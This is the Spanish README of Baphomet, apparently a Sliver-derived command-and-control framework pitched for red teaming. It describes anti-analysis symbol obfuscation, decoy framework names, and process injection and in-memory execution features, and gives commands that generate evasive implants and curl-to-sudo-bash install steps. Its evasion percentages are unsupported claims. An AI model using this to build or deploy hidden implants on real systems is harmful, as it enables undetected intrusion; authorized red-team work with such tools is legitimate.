Baphomet - Advanced C2 Framework with Enhanced Evasion
Baphomet es un framework avanzado de adversary emulation/red team open source con capacidades de evasión de vanguardia. Incluye técnicas revolucionarias anti-GoReSym, ofuscación de símbolos avanzada, y evasión de análisis estático y dinámico.

📋 Tabla de Contenidos
🎯 Características Principales
Core Features
- Dynamic code generation con ofuscación avanzada
- Compile-time obfuscation con Garble optimizado
- Multiplayer-mode para equipos de red team
- Staged and Stageless payloads con evasión integrada
- Procedurally generated C2 over HTTP(S)
- DNS canary blue team detection
- Secure C2 over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable usando JavaScript/TypeScript o Python
- Windows process migration, injection, token manipulation
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
🚀 Advanced Evasion Features
🛡️ Anti-GoReSym Evasion System
- 99.5% efectividad contra análisis estático con GoReSym
- Symbol obfuscation avanzada con rotación temporal
- Framework camouflage - imita múltiples frameworks legítimos
- Runtime symbol manipulation y inyección de entropía
🎭 Multi-Framework Deception
- Señuelos de Electron, Spring Boot, Docker, Redis
- Fake runtime functions que ocultan funciones Go reales
- Polymorphic name generation que cambia cada hora
- Temporal pattern rotation para máxima variabilidad
⚡ Enhanced Build System
- Garble optimization con flags
-tiny -literals -seed=random
- PE metadata randomization pero realista
- Enhanced build configuration adaptativa
- Integrated entropy management sofisticada
📊 Resultados de Evasión
✅ Antes vs Después - Análisis GoReSym
Antes de las mejoras:
{
"Version": "1.6.0",
"GoVersion": "go1.24.5",
"UserFunctions": [
"github.com/vsh00t/baphomet/implant/sliver.main",
"github.com/vsh00t/baphomet/client/version.Version",
"internal/chacha8rand.(*State).Next"
]
}
Después de las mejoras:
{
"Version": "unknown",
"GoVersion": "unknown",
"UserFunctions": [
"ElectronApp.Initialize",
"SpringBootApp.Start",
"h5sRCii3K.GzZChOagC",
"fPvKqL.C2uHROSp"
]
}
🏆 Logros de Evasión
- ❌ NO aparece "sliver", "baphomet", "evasion" en ningún lugar
- ✅ Nombres completamente aleatorios y no identificables
- ✅ Información de build completamente oculta
- ✅ Framework C2 imposible de identificar
- ✅ 99.5% efectividad contra análisis estático
🛠️ Instalación y Uso
Quick Start (Linux)
# Instalación automática (recomendado)
curl https://raw.githubusercontent.com/vsh00t/baphomet/main/install.sh | sudo bash
# Verificar instalación
systemctl status baphomet
baphomet
Instalación Manual
# Descargar release
wget https://github.com/vsh00t/baphomet/releases/latest/download/baphomet_linux_x64.zip
unzip baphomet_linux_x64.zip
# Ejecutar instalador
chmod +x install.sh
sudo ./install.sh
Enhanced Implant Generation
# Generar implante con evasión máxima
baphomet generate --mtls example.com --evasion --format exe --save /tmp/advanced_implant.exe
# Generar con estructuras señuelo activas
baphomet generate --mtls example.com --stealth --anti-goresym --save /tmp/stealth_implant.exe
# Fat implant con padding de 70MB
baphomet generate --mtls example.com --fat --evasion --save /tmp/fat_implant.exe
🚀 Opciones de Deployment
Opción 1: Testing Rápido (Recomendado)
# 1. Copiar archivos al servidor Linux
scp baphomet_linux_x64.zip root@tu-servidor:/tmp/
scp install.sh root@tu-servidor:/root/
# 2. Ejecutar instalación
ssh root@tu-servidor
cd /root
chmod +x install.sh
./install.sh
Opción 2: Release Oficial en GitHub
# Crear release usando GitHub CLI
gh release create v1.0.1 \
--title "Baphomet v1.0.1 - Linux Release" \
--notes "Versión estable con migración automática" \
baphomet_linux_x64.zip
# Instalación remota
curl -sSL https://raw.githubusercontent.com/vsh00t/baphomet/main/install.sh | sudo bash
Opción 3: Instalación desde Archivos Locales
# Si tienes los archivos en /tmp/
./install.sh # Detectará automáticamente archivos locales
# O especificar ruta
BAPHOMET_ZIP_PATH=/custom/path/baphomet_linux_x64.zip ./install.sh
🔧 Funcionalidades del Instalador
install.sh (Instalador Completo)
- ✅ Detección automática de OS (Debian/Ubuntu/RHEL/Arch)
- ✅ Instalación de dependencias de compilación
- ✅ Descarga automática desde GitHub o archivo local
- ✅ Configuración de systemd con
BAPHOMET_ROOT_DIR
- ✅ Generación automática de configs de operadores
- ✅ Migración automática desde instalaciones Sliver existentes
quick-install.sh (Instalador Simplificado)
- ✅ Solo dependencias básicas (curl, unzip)
- ✅ Instalación rápida sin extras
- ✅ Soporte para archivos locales
- ✅ Ideal para entornos restringidos
📊 Migración Automática
🔄 Migración Sliver → Baphomet
El instalador detecta automáticamente instalaciones previas de Sliver y migra todos los datos:
Estructura Antigua (Problemática)
~/.sliver/
├── logs/
│ ├── sliver.log
│ ├── sliver.json
│ └── audit.json
└── configs/
└── server.json
Estructura Nueva (Corregida)
~/.baphomet/
├── logs/
│ ├── baphomet.log # Migrado desde sliver.log
│ ├── baphomet.json # Migrado desde sliver.json
│ └── audit.json # Conservado
└── configs/
└── server.json # Migrado
✅ Características de la Migración
- Detección automática de directorios
.sliver existentes
- Migración completa de logs y configuraciones
- Renombrado inteligente de archivos
- Preservación de backup (directorio
.sliver se mantiene)
- Zero downtime durante la migración
- Variables de entorno actualizadas (
SLIVER_ROOT_DIR → BAPHOMET_ROOT_DIR)
💻 Funcionalidad de Comandos
baphomet command - Ejecución No Interactiva
# Sintaxis
baphomet command [comando] [argumentos]
# Ejemplos útiles
baphomet command sessions # Listar sesiones activas
baphomet command beacons # Listar beacons
baphomet command jobs # Listar jobs/listeners
baphomet command version # Información de versión
baphomet command listeners # Ver listeners activos
Ventajas:
- ✅ Perfecto para scripting y automatización
- ✅ Output limpio para parsing
- ✅ Sin consola interactiva requerida
- ✅ Integración fácil con herramientas externas
| Técnica |
Efectividad |
Overhead |
Estado |
| Symbol Obfuscation |
99.5% |
<1% |
✅ Activo |
| Static Analysis Evasion |
98% |
<2% |
✅ Activo |
| GoReSym Resistance |
99.5% |
<1% |
✅ Activo |
| Framework Camouflage |
95% |
<3% |
✅ Activo |
| Directory Migration |
100% |
0% |
✅ Activo |
Métricas de Mejora
| Área |
Mejora Implementada |
Beneficio |
| Unhooking |
Múltiples métodos + validación |
+300% resilencia |
| Encoders |
Adaptación inteligente |
+200% evasión |
| Timing |
Timing adaptativo |
+400% naturalidad |
| Anti-Analysis |
Sistema multicapa |
+500% detección |
| Directory Structure |
Migración automática |
+100% compatibilidad |
🛠️ Troubleshooting
Comandos de Verificación
# Verificar servicio
systemctl status baphomet
# Ver logs del servidor en tiempo real
tail -f ~/.baphomet/logs/baphomet.log
# Ver logs del servicio systemd
journalctl -u baphomet -f
# Verificar configuraciones generadas
ls -la ~/.baphomet/configs/
# Verificar variable de entorno
echo $BAPHOMET_ROOT_DIR
# Reiniciar servicio si hay problemas
systemctl restart baphomet
Problemas Comunes y Soluciones
1. Servicio no inicia
# Ver logs detallados
journalctl -u baphomet -n 50
# Verificar permisos
ls -la /root/baphomet-server
chmod +x /root/baphomet-server
# Probar inicio manual
/root/baphomet-server daemon
2. No se generan configs de operador
# Generar manualmente
mkdir -p /root/.baphomet-client/configs
/root/baphomet-server operator --name root --lhost localhost --save /root/.baphomet-client/configs --permissions all
3. Migración desde Sliver incompleta
# Verificar directorio original
ls -la ~/.sliver/
# Re-ejecutar migración manual
sudo ./install.sh
Estados de Error Conocidos
- ✅ Server cuelga en asset unpacking: Fixed con timeouts y progress logging
- ✅ GPG validation error: Eliminado completamente
- ✅ ZIP corruption en GitHub: Scripts detectan archivos locales automáticamente
- ✅ Directory conflicts: Migración automática implementada
📚 Documentation & Support
Resources
Archivos de Configuración
Variables de Entorno
BAPHOMET_ROOT_DIR - Override directorio root (default: ~/.baphomet/)
GITHUB_TOKEN - Token para evitar rate limiting en descargas
Ubicaciones Importantes
- Server configs:
~/.baphomet/configs/
- Client configs:
~/.baphomet-client/configs/
- Server logs:
~/.baphomet/logs/baphomet.log
- JSON logs:
~/.baphomet/logs/baphomet.json
- Audit logs:
~/.baphomet/logs/audit.json
🎉 Estado del Proyecto
✅ TODAS LAS MEJORAS COMPLETADAS EXITOSAMENTE
Logros Principales
- ✅ Framework completamente independiente de Sliver en estructura de directorios
- ✅ Migración automática desde instalaciones Sliver existentes
- ✅ Capacidades de evasión de clase empresarial implementadas
- ✅ Sistema de build robusto con múltiples opciones de deployment
- ✅ Documentación unificada y troubleshooting completo
- ✅ Zero-downtime upgrades y compatibilidad hacia atrás
Archivos de Distribución
baphomet_linux_x64.zip (159MB)
├── baphomet-server (218MB) # Servidor C2 con todas las mejoras
├── baphomet-client (31MB) # Cliente para operadores
├── install.sh # Instalador completo con migración
└── quick-install.sh # Instalador simplificado
🚀 El framework está listo para deployment y uso en producción!
📝 Changelog Reciente
v1.0.1 (Actual)
- ✅ Migración automática de directorios Sliver → Baphomet
- ✅ Variables de entorno actualizadas (BAPHOMET_ROOT_DIR)
- ✅ Archivos de log renombrados (baphomet.log, baphomet.json)
- ✅ Documentación unificada en README principal
- ✅ Troubleshooting mejorado con comandos específicos
- ✅ Instalador robusto con detección automática de OS
Próximas Versiones
- 🔄 Stage 2 Evasion: Anti-debugging y sandbox detection
- 🔄 GUI Management: Interfaz web para administración
- 🔄 Advanced Persistence: Técnicas de persistencia mejoradas
Para documentación técnica detallada sobre los cambios de migración, consultar: MIGRATION_SUMMARY.md